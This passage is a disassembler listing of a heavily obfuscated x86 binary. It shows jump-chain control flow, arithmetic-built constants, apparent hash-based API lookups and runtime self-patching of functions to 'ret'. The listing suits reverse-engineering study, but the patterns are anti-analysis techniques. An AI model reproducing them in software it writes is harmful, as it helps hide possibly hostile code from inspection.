; END OF FUNCTION CHUNK	FOR sub_44EAC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_4469F4:				; CODE XREF: sub_43FA59+C4EFj
		jmp	loc_455BD4
; END OF FUNCTION CHUNK	FOR sub_43FA59

; =============== S U B	R O U T	I N E =======================================



sub_4469F9	proc near		; CODE XREF: sub_44B70C:loc_445ED4p
					; sub_4483A4:loc_44C205j ...

; FUNCTION CHUNK AT 00450555 SIZE 00000005 BYTES

		jno	sub_459490
		jmp	loc_450555
sub_4469F9	endp

; ---------------------------------------------------------------------------
		not	eax
		jmp	loc_43C942
; ---------------------------------------------------------------------------
		cmp	edi, edx
		jmp	loc_449D70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D49A

loc_446A12:				; CODE XREF: sub_44D49A:loc_44419Fj
		xor	eax, [ebx+ecx+4]
		cmp	eax, 7C61090Eh
		retn
; END OF FUNCTION CHUNK	FOR sub_44D49A

; =============== S U B	R O U T	I N E =======================================



sub_446A1C	proc near		; CODE XREF: dviuq5id:loc_443128p
					; sub_44AC6E+17p ...
		xor	bx, bx
		add	ebx, 10000h

loc_446A25:				; CODE XREF: sub_43AB6B+Cj
					; dviuq5id:0044CE21j
		push	offset loc_44CE0D
		jmp	nullsub_52
sub_446A1C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D42F

loc_446A2F:				; CODE XREF: sub_44D42Fj
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	edx
		call	sub_44E1C0
		mov	eax, 24DE0EA8h
		call	sub_453642
		jmp	loc_452A8B
; END OF FUNCTION CHUNK	FOR sub_44D42F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B1C4

loc_446A48:				; CODE XREF: sub_43B1C4:loc_43ADA8j
		jz	loc_43E763

loc_446A4E:				; CODE XREF: sub_44A438+Ej
		jmp	loc_447B47
; END OF FUNCTION CHUNK	FOR sub_43B1C4
; ---------------------------------------------------------------------------

loc_446A53:				; CODE XREF: dviuq5id:0044016Dj
		jmp	loc_445790
; ---------------------------------------------------------------------------
		xor	eax, 0B757E7A9h
		xchg	esi, eax
		jmp	loc_43E762
; ---------------------------------------------------------------------------

loc_446A65:				; CODE XREF: dviuq5id:0043F0C6j
		jge	loc_450887
		push	19B9733Fh
		cmp	ebp, ebx
		jmp	loc_450881
; ---------------------------------------------------------------------------

loc_446A77:				; CODE XREF: dviuq5id:0044658Bj
		and	edx, 39DEDFD8h
		xor	edx, 18924780h
		xchg	edx, [esp]
		push	10h
		push	864D51A5h
		pop	eax
		sub	eax, 9D7D1162h
; START	OF FUNCTION CHUNK FOR sub_43E421

loc_446A94:				; CODE XREF: sub_43E421:loc_44DA12j
		rol	eax, 6
		jmp	loc_440D62
; END OF FUNCTION CHUNK	FOR sub_43E421

; =============== S U B	R O U T	I N E =======================================



sub_446A9C	proc near		; CODE XREF: sub_4543C5-560Ep
					; dviuq5id:004575F5j

; FUNCTION CHUNK AT 0043919C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043B876 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BEF9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D134 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E138 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00445AD3 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00449AE6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A65E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044A7AF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B4BD SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0044E4CA SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00451175 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00452CB2 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 004538CA SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00456613 SIZE 00000019 BYTES

		xchg	edx, [esp+0]
		pop	edx
		cmp	eax, [ebp-10h]
		jbe	loc_43919C
		jmp	loc_43B876
sub_446A9C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		call	sub_44BC0F
; START	OF FUNCTION CHUNK FOR sub_44623D

loc_446AB3:				; CODE XREF: sub_44623D+8B08j
		jmp	loc_446D53
; END OF FUNCTION CHUNK	FOR sub_44623D

; =============== S U B	R O U T	I N E =======================================



sub_446AB8	proc near		; CODE XREF: dviuq5id:0043A444j
					; dviuq5id:0043CAB6p
		xchg	ecx, [esp+0]
		pop	ecx
		lea	eax, loc_449F09
		call	sub_4450EF
sub_446AB8	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_44A94D

loc_446AC7:				; CODE XREF: sub_44A94D+927Dj
		jmp	sub_446CFB
; END OF FUNCTION CHUNK	FOR sub_44A94D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F186

loc_446ACC:				; CODE XREF: sub_44F186+10j
		jmp	loc_44F13F
; END OF FUNCTION CHUNK	FOR sub_44F186
; ---------------------------------------------------------------------------

loc_446AD1:				; CODE XREF: dviuq5id:0043C01Cj
		jnz	loc_441F2A

loc_446AD7:				; CODE XREF: dviuq5id:loc_459C05j
		push	0F221C9CEh
		pop	eax
		sub	eax, 0B7D83B7Bh
		jmp	loc_4580C3
; ---------------------------------------------------------------------------

loc_446AE8:				; CODE XREF: dviuq5id:004553D9j
		jnz	loc_4467C4
; START	OF FUNCTION CHUNK FOR sub_452209

loc_446AEE:				; CODE XREF: sub_452209+11j
		jmp	loc_44AEEB
; END OF FUNCTION CHUNK	FOR sub_452209
; ---------------------------------------------------------------------------

loc_446AF3:				; CODE XREF: dviuq5id:004452F3j
		jmp	loc_44AE6D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FED0

loc_446AF8:				; CODE XREF: sub_43FED0+Cj
		jmp	nullsub_506
; END OF FUNCTION CHUNK	FOR sub_43FED0
; ---------------------------------------------------------------------------
		xor	eax, 0B72D32B7h
		jmp	loc_4467C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459804

loc_446B08:				; CODE XREF: sub_459804:loc_44BD62j
		jb	loc_44F053
		jmp	loc_457D25
; END OF FUNCTION CHUNK	FOR sub_459804
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4509F7

loc_446B13:				; CODE XREF: sub_4509F7-15DC1j
		xchg	edx, [esp+0]
		jmp	loc_454DC6
; END OF FUNCTION CHUNK	FOR sub_4509F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44846C

loc_446B1B:				; CODE XREF: sub_44846C:loc_45106Fj
		push	esi
		push	3793E6B8h
		pop	esi
		xor	esi, 3877C1EFh
		sub	esi, 9A993250h
		jmp	loc_45932F
; END OF FUNCTION CHUNK	FOR sub_44846C
; ---------------------------------------------------------------------------

loc_446B33:				; CODE XREF: dviuq5id:loc_44A4AAj
		shl	esi, 15h
		and	eax, ecx
		jmp	loc_44F075
; ---------------------------------------------------------------------------

locret_446B3D:				; CODE XREF: dviuq5id:loc_4530AEj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C2F6

loc_446B3E:				; CODE XREF: sub_44C2F6+41D9j
		jmp	loc_45827E
; END OF FUNCTION CHUNK	FOR sub_44C2F6
; ---------------------------------------------------------------------------
		mov	ds:dword_41D18C, eax
		push	offset sub_4408AF
		jmp	loc_4432D4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_446B53	proc near		; CODE XREF: sub_4469F9:loc_450555j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00439563 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D651 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043D989 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044098D SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00442128 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00444E48 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0044585A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044588F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00447CA4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004481CC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00448A18 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449139 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004491C1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044E773 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00450B44 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00451531 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0045377A SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00454191 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00458498 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		xchg	ecx, [esp+0]
		jmp	loc_448A18
sub_446B53	endp


; =============== S U B	R O U T	I N E =======================================



sub_446B61	proc near		; CODE XREF: dviuq5id:0043AB60j
					; sub_443173+11A1Fp
		xchg	esi, [esp+0]
		pop	esi
		call	sub_449EB7
		retn
sub_446B61	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_446B6B:				; CODE XREF: dviuq5id:004531ACj
		jmp	loc_43FD76
; ---------------------------------------------------------------------------
		dd 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BD0B

loc_446B74:				; CODE XREF: sub_44BD0B-F3E8j
		jmp	loc_446139
; END OF FUNCTION CHUNK	FOR sub_44BD0B
; ---------------------------------------------------------------------------
		db 16h,	71h, 0EEh
dword_446B7C	dd 294E52EAh, 2EA8549Ch, 366CC8h, 0D7E3850Fh, 0FDE90000h
					; DATA XREF: sub_440C61+5F8Bo
					; sub_44EFC2+3o
		db 0ADh, 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_446B93	proc near		; CODE XREF: sub_44A203+8j

var_20		= dword	ptr -20h

; FUNCTION CHUNK AT 0044401F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448131 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004483F8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004502B5 SIZE 0000001B BYTES

		add	esp, 0FFFFFFE0h
		lea	eax, [ebp-20h]
		mov	dword ptr [eax], 594C4C4Fh
		lea	eax, [ebp-1Ch]

loc_446BA2:				; CODE XREF: sub_43938B:loc_43ACE3j
		mov	dword ptr [eax], offset	dword_474244
		jmp	loc_4502B5
sub_446B93	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_446BAD:				; CODE XREF: sub_43FA59:loc_44DCB1j
		jnz	loc_43CB6F
		jmp	loc_451414
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43938B

loc_446BB8:				; CODE XREF: sub_43938B+13D85j
		ror	edx, 2
		jmp	loc_44AA44
; END OF FUNCTION CHUNK	FOR sub_43938B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FCBC

loc_446BC0:				; CODE XREF: sub_44FCBC-A7B3j
		jl	loc_439153

loc_446BC6:				; CODE XREF: sub_446465+D9E7j
		jmp	loc_448D7C
; END OF FUNCTION CHUNK	FOR sub_44FCBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459385

loc_446BCB:				; CODE XREF: sub_459385-14D32j
		jmp	sub_43C4B5
; END OF FUNCTION CHUNK	FOR sub_459385
; ---------------------------------------------------------------------------
		cmp	ebp, 76BD1704h

loc_446BD6:				; CODE XREF: dviuq5id:004566DFj
		jmp	loc_43CFFD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EE8F

loc_446BDB:				; CODE XREF: sub_43EE8F+A0FDj
		add	eax, 0A7EA4821h
		sbb	esi, eax
		jmp	loc_43C997
; END OF FUNCTION CHUNK	FOR sub_43EE8F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_354. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440C61

loc_446BE9:				; CODE XREF: sub_440C61:loc_43A328j
		xchg	edx, [esp+0]
		lea	eax, dword_446B7C
		push	eax
		push	eax
		mov	edx, eax
		jmp	loc_449134
; END OF FUNCTION CHUNK	FOR sub_440C61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448154

loc_446BFB:				; CODE XREF: sub_448154:loc_450776j
		cmp	ebx, 0EBFB0E6Bh
		jmp	loc_44DA0A
; END OF FUNCTION CHUNK	FOR sub_448154
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440E99

loc_446C06:				; CODE XREF: sub_440E99+31DCj
		mov	eax, 23829242h
		call	sub_453642
		mov	ds:off_41D094, eax
		lea	eax, loc_444069
		mov	byte ptr [eax],	0C3h

loc_446C1F:				; CODE XREF: dviuq5id:0043E288j
		jmp	loc_45A0E3
; END OF FUNCTION CHUNK	FOR sub_440E99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43938B

loc_446C24:				; CODE XREF: sub_43938B:loc_455B93j
		add	eax, 7DC94411h
		add	eax, ebp
		add	eax, 7F6E3BDFh
		mov	eax, [eax]
		test	eax, eax
		jmp	loc_43EE0C
; END OF FUNCTION CHUNK	FOR sub_43938B
; ---------------------------------------------------------------------------

loc_446C3B:				; CODE XREF: dviuq5id:loc_43BDA2j
					; dviuq5id:0044A22Dj
		ja	loc_455CCC

; =============== S U B	R O U T	I N E =======================================



sub_446C41	proc near		; CODE XREF: sub_44B2EA-D6F2p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00442F3B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004545F9 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	edx
		push	ecx
		push	0FE95FBB3h
		pop	ecx
		jmp	loc_4545F9
sub_446C41	endp


; =============== S U B	R O U T	I N E =======================================



sub_446C52	proc near		; CODE XREF: sub_43E10E+198BEj
					; dviuq5id:00459DCFp

; FUNCTION CHUNK AT 0043A002 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BF3A SIZE 00000014 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	0C368E884h
		pop	edi
		xor	edi, ds:4000F8h
		sub	edi, 9B82A152h
		xor	edi, ds:4000F6h
		jmp	loc_43BF3A
sub_446C52	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454228

loc_446C73:				; CODE XREF: sub_454228:loc_459FF3j
		pop	eax
		and	eax, 1F178A59h
		or	eax, 32182BE5h
		sub	eax, 62DF740Bh
		add	eax, 742B1275h

loc_446C8C:				; CODE XREF: sub_4597EF:loc_450576j
		add	eax, ebp
		add	eax, 0B49BB595h
		push	eax
		jmp	loc_448FAD
; END OF FUNCTION CHUNK	FOR sub_454228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A203

loc_446C9A:				; CODE XREF: sub_44A203:loc_44DCE0j
		add	ecx, 0F74B5FAh
		xchg	ecx, [esp+0]
		jmp	loc_453C0E
; END OF FUNCTION CHUNK	FOR sub_44A203
; ---------------------------------------------------------------------------

loc_446CA8:				; CODE XREF: dviuq5id:loc_454834j
		xor	eax, 186CAD76h
		jns	loc_4407E2

loc_446CB4:				; CODE XREF: dviuq5id:00446450j
		jmp	nullsub_478
; ---------------------------------------------------------------------------
		ja	loc_4461DA
		shr	ebx, 0Dh
		jmp	loc_4407DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AE68

loc_446CC7:				; CODE XREF: sub_43AE68+1CEADj
		ja	loc_4494D1
		add	esi, 3BAD1688h
		mov	[ebp+0], esi

loc_446CD6:				; CODE XREF: sub_43AE68:loc_44E64Cj
		mov	eax, 1F56AC7Bh
		call	sub_453642
		jmp	loc_4392A7
; END OF FUNCTION CHUNK	FOR sub_43AE68
; ---------------------------------------------------------------------------
		jb	loc_455E78
		jmp	sub_453EBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447ECD

loc_446CF0:				; CODE XREF: sub_447ECD:loc_45728Fj
		call	sub_44E3BA
		retn
; END OF FUNCTION CHUNK	FOR sub_447ECD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4427AE

loc_446CF6:				; CODE XREF: sub_4427AE+8D0Aj
		jmp	nullsub_382
; END OF FUNCTION CHUNK	FOR sub_4427AE

; =============== S U B	R O U T	I N E =======================================



sub_446CFB	proc near		; CODE XREF: sub_43E40D:loc_43A457j
					; sub_43FA59+18B4p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043FE65 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448FDA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044A571 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C549 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00450148 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00459151 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00459F0D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0045A212 SIZE 00000014 BYTES

		jno	loc_459F0D
		push	esi
		mov	esi, ebp
		jmp	loc_43FE65
sub_446CFB	endp

; ---------------------------------------------------------------------------
		mov	ds:off_41D204, eax
		lea	eax, sub_44B876
		mov	byte ptr [eax],	0C3h
		jmp	loc_4555E6
; ---------------------------------------------------------------------------

loc_446D1D:				; CODE XREF: dviuq5id:loc_44F8B3j
		mov	eax, [esp]
		push	edx
		call	sub_445A59
		push	3DC68974h
		pop	eax
		jmp	loc_44DD45
; ---------------------------------------------------------------------------

loc_446D31:				; CODE XREF: dviuq5id:004482D2j
		push	8C64959Ch
		pop	edx
		sub	edx, 4EB62BABh
		xor	edx, ds:4000F9h
		and	edx, 6DE0E11Ah
		push	offset sub_457EA1
		jmp	loc_454B16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44623D

loc_446D53:				; CODE XREF: sub_44623D:loc_446AB3j
		pop	ecx
		mov	eax, [esp+0]
		push	ebx
		mov	ebx, edx
		xchg	ebx, [esp+4+var_4]
		jmp	loc_44E2B4
; END OF FUNCTION CHUNK	FOR sub_44623D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_145. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B80C

loc_446D63:				; CODE XREF: sub_43B80C+Bj
		jmp	loc_452935
; END OF FUNCTION CHUNK	FOR sub_43B80C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450E57

loc_446D68:				; CODE XREF: sub_450E57:loc_456D0Fj
		jz	loc_4505A5
		jmp	loc_43DE6F
; END OF FUNCTION CHUNK	FOR sub_450E57
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FF3E

loc_446D73:				; CODE XREF: sub_44FF3E:loc_44BBA5j
		call	sub_451D52

loc_446D78:				; CODE XREF: dviuq5id:0043EA4Dj
		mov	eax, 0B0h
		call	sub_43CCD1
		jmp	loc_44D05B
; END OF FUNCTION CHUNK	FOR sub_44FF3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4440E9

loc_446D87:				; CODE XREF: sub_4440E9-9C60j
					; dviuq5id:0043C3E1j ...
		mov	dword ptr [ebp-4], 1
		call	sub_45A232
; END OF FUNCTION CHUNK	FOR sub_4440E9
; START	OF FUNCTION CHUNK FOR sub_452A73

loc_446D93:				; CODE XREF: sub_452A73-1AB5j
		jmp	loc_452F34
; END OF FUNCTION CHUNK	FOR sub_452A73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455C2B

loc_446D98:				; CODE XREF: sub_455C2B-101A8j
		jmp	loc_459761
; END OF FUNCTION CHUNK	FOR sub_455C2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445A59

loc_446D9D:				; CODE XREF: sub_445A59:loc_43BC6Dj
		rol	esi, 12h
		add	esi, 9DDC4F38h
		xor	esi, 0B808C8FFh
		xchg	esi, [esp+0]
		push	0
		push	edi
		push	0EA989D2Ah
		jmp	loc_442C92
; END OF FUNCTION CHUNK	FOR sub_445A59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B558

loc_446DBC:				; CODE XREF: sub_44B558+D0F4j
		adc	edi, ebp
		test	ecx, esi
		jmp	loc_440477
; END OF FUNCTION CHUNK	FOR sub_44B558
; ---------------------------------------------------------------------------
		shl	edx, 1Ch
		jmp	sub_447A8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447ECD

loc_446DCD:				; CODE XREF: sub_447ECD:loc_452356j
		cmp	ebx, 445A0D45h
		jmp	loc_4444FF
; END OF FUNCTION CHUNK	FOR sub_447ECD

; =============== S U B	R O U T	I N E =======================================



sub_446DD8	proc near		; CODE XREF: sub_417C7B+30p
					; dviuq5id:0043AD9Dj
					; DATA XREF: ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043B8C9 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004451D6 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00447823 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044AF58 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044B30E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044D24D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044E030 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044E429 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00450BAD SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00453378 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045404B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00454A8E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00454E18 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00454EED SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0045761C SIZE 00000017 BYTES

		call	sub_458964

loc_446DDD:				; CODE XREF: sub_443F7F+41E4j
		jmp	loc_44E030
sub_446DD8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4574E7

loc_446DE2:				; CODE XREF: sub_4574E7-10B3Fj
					; sub_4574E7:loc_44D88Dj
		call	sub_45714A
		retn
; END OF FUNCTION CHUNK	FOR sub_4574E7
; ---------------------------------------------------------------------------

loc_446DE8:				; CODE XREF: dviuq5id:0044DADFj
		jmp	loc_43A681
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_446DED:				; CODE XREF: sub_43EB11+93ACj
		jmp	loc_452346
; END OF FUNCTION CHUNK	FOR sub_43EB11
; ---------------------------------------------------------------------------
		dw 870Dh
dword_446DF4	dd 377E738h		; DATA XREF: sub_4437DF+Dw
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_446DF8:				; CODE XREF: sub_43FA59+125E9j
		jmp	loc_44130C
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BC7B

loc_446DFD:				; CODE XREF: sub_43BC7B+Ej
		jmp	loc_43D370
; END OF FUNCTION CHUNK	FOR sub_43BC7B
; ---------------------------------------------------------------------------
		dw 0D8DCh
dword_446E04	dd 77E75CB5h		; DATA XREF: sub_441F76:loc_43A3C1r
					; dviuq5id:00444460w ...
; ---------------------------------------------------------------------------

loc_446E08:				; CODE XREF: dviuq5id:00450A19j
		jmp	loc_43B507
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446682

loc_446E0D:				; CODE XREF: sub_446682-83AAj
		jmp	loc_44AA5A
; END OF FUNCTION CHUNK	FOR sub_446682
; ---------------------------------------------------------------------------
		dw 0F663h
dword_446E14	dd 2			; DATA XREF: sub_4547E2-1826Er
					; sub_4547E2-1670Ar ...
		dd 3 dup(2), 0C0h, 40h,	2 dup(1), 4 dup(2), 0C0h, 40h
		dd 2 dup(1), 4 dup(2), 0C0h, 40h, 2 dup(1), 4 dup(2), 0C0h
		dd 40h,	2 dup(1), 4 dup(2), 0C0h, 40h, 0
		dd 1, 4	dup(2),	0C0h, 40h, 0
		dd 1, 4	dup(2),	0C0h, 40h, 0
		dd 401h, 4 dup(2), 0C0h, 40h, 0
		dd 23h dup(1), 2 dup(2), 4 dup(0)
		dd 40h,	42h, 0C0h, 0C2h, 4 dup(1), 10h dup(1E00h), 0C2h
		dd 42h,	2 dup(0C2h), 0Ch dup(2), 0Ah dup(1), 60h, 5 dup(1)
		dd 4 dup(8), 4 dup(1), 0C0h, 40h, 6 dup(1), 8 dup(0C0h)
		dd 8 dup(40h), 2 dup(1C2h), 20h, 1, 2 dup(2), 0C2h, 42h
		dd 1E0h, 1, 20h, 2 dup(1), 0C0h, 2 dup(1), 4 dup(2), 2 dup(0C0h)
		dd 2 dup(1), 8 dup(2), 4 dup(1A00h), 4 dup(0C0h), 800h
		dd 0A00h, 60h, 1A00h, 4	dup(1),	0
		dd 1, 2	dup(0)
		dd 2 dup(1), 2 dup(2), 6 dup(1), 2 dup(2)
dword_447214	dd 2			; DATA XREF: sub_454267-E069r
		dd 3 dup(2), 1Ch dup(1), 5 dup(2), 1, 2, 19h dup(1), 10h dup(402h)
		dd 10h dup(1), 0Bh dup(2), 3 dup(1), 2 dup(2), 1, 3 dup(0C2h)
		dd 3 dup(2), 7 dup(1), 2 dup(2), 10h dup(0E00h), 10h dup(402h)
		dd 3 dup(1), 2,	1C2h, 3	dup(2),	3 dup(1), 2, 1C2h, 0Bh dup(2)
		dd 2 dup(1), 1C2h, 7 dup(2), 5 dup(1), 2, 9 dup(1), 3 dup(2)
		dd 1, 2, 2 dup(1), 2 dup(2), 1,	3 dup(2), 1, 2,	1, 2 dup(2)
		dd 2 dup(1), 2,	2 dup(1), 2 dup(2), 1, 3 dup(2), 1, 2
		dd 1, 3	dup(2),	1, 2, 2	dup(1),	3 dup(2), 1, 3 dup(2)
		dd 1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D948

loc_447614:				; CODE XREF: sub_44D948+6j
		jmp	loc_44501D
; END OF FUNCTION CHUNK	FOR sub_44D948
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450217

loc_447619:				; CODE XREF: sub_450217:loc_43B87Bj
		and	ecx, 3ABC3F79h
		cmp	ecx, 0A85E19F2h
		jmp	loc_44DF2A
; END OF FUNCTION CHUNK	FOR sub_450217
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443AC1

loc_44762A:				; CODE XREF: sub_443AC1+C83Bj
		jp	loc_444AB5
		cmp	ebx, edi
		jmp	loc_456147
; END OF FUNCTION CHUNK	FOR sub_443AC1
; ---------------------------------------------------------------------------

loc_447637:				; CODE XREF: dviuq5id:loc_44D3F0j
		sbb	esi, 32DA9427h
		push	esi
		jmp	loc_457F3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D28E

loc_447643:				; CODE XREF: sub_43D28E:loc_450D8Aj
		rol	edx, 12h
		xor	edx, 0CB07F170h
		or	edx, ds:4000F8h
		sub	edx, 65A0F93Dh
		xor	edx, 0ABA18CC4h
		add	edx, ebp

loc_447660:				; CODE XREF: sub_4393C3:loc_445EC8j
		jmp	loc_439EAC
; END OF FUNCTION CHUNK	FOR sub_43D28E
; ---------------------------------------------------------------------------
		jnp	loc_457B93
		jmp	sub_43927C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45889C

loc_447670:				; CODE XREF: sub_45889C:loc_443664j
		push	edx
		push	eax
		mov	eax, [ebp-18h]
		add	eax, eax
		jmp	loc_45737F
; END OF FUNCTION CHUNK	FOR sub_45889C
; ---------------------------------------------------------------------------

loc_44767C:				; CODE XREF: dviuq5id:0044A82Fj
		mov	edi, edx
		xchg	edi, [esp]
		push	edi
		push	4759FC9Dh
		pop	edi
		jmp	loc_457342
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450686

loc_44768D:				; CODE XREF: sub_450686-10BE9j
		test	esi, 3B1751F0h
		jmp	loc_454623
; END OF FUNCTION CHUNK	FOR sub_450686

; =============== S U B	R O U T	I N E =======================================



sub_447698	proc near		; CODE XREF: dviuq5id:0043B2CEj
					; sub_43F9E7:loc_4439DFp

; FUNCTION CHUNK AT 0043F5F3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00457DF9 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	eax, offset dword_457D50
		call	sub_450A73
		cmp	ds:dword_457D5C, 0
		jnz	loc_444F96
		jmp	loc_457DF9
sub_447698	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_493. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445A59

loc_4476B9:				; CODE XREF: sub_445A59+104B9j
		jmp	loc_458D3F
; END OF FUNCTION CHUNK	FOR sub_445A59
; ---------------------------------------------------------------------------

loc_4476BE:				; CODE XREF: dviuq5id:0045455Fj
